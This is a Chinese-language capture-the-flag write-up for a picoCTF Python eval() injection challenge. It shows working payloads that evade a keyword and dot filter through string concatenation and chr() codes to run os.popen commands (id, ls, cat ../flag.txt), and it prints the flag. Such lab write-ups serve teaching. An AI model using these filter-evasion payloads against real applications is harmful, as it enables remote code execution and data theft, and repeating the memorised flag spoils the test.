What is eval ?
eval() 是 Python 的內建函式,它能將字串當作程式碼來執行,並回傳結果。它通常被用在需要動態計算表達式的場景,例如計算機應用程式、設定檔解析、或資料處理中動態執行公式。
在CTF中因為eval()會執行任何合法的 Python 表達式。因此常用來輸入來自使用者且未經驗證,攻擊者可以注入惡意程式碼,達成遠端程式碼執行(RCE)。
解題
打開題目網頁
嘗試輸入python程式碼掉用os模組執行系統指令,發現他有阻擋關鍵字
__import__("os").system("id")
將os改成用字串相加的方法,指令執行成功回傳0
__import__("o"+"s").system("id")
system會回傳執行結果int,使用os.popen()回傳檔案物件且加上read()讀取執行內容,成功取得id
__import__("o"+"s").popen("id").read()
更改指令獲取目錄內容
__import__("o"+"s").popen("ls").read()
將ls改成用字串相加的方法
__import__("o"+"s").popen("l"+"s").read()
沒發現flag,嘗試找上一層目錄,發現他直接阻擋.這個符號
__import__("o"+"s").popen("l"+"s"+" ../").read()
將符號改用ASCII 碼替換,發現flag.txt
__import__("o"+"s").popen("l"+"s"+" "+chr(46)+chr(46)+chr(47)).read()
查看flag.txt
__import__("o"+"s").popen("c"+"a"+"t"+" "+chr(46)+chr(46)+chr(47)+"flag"+chr(46)+"txt").read()

取得flag
picoCTF{D0nt_Use_Unsecure_f@nctionsba15f0f7}
提交flag



說些什麼吧!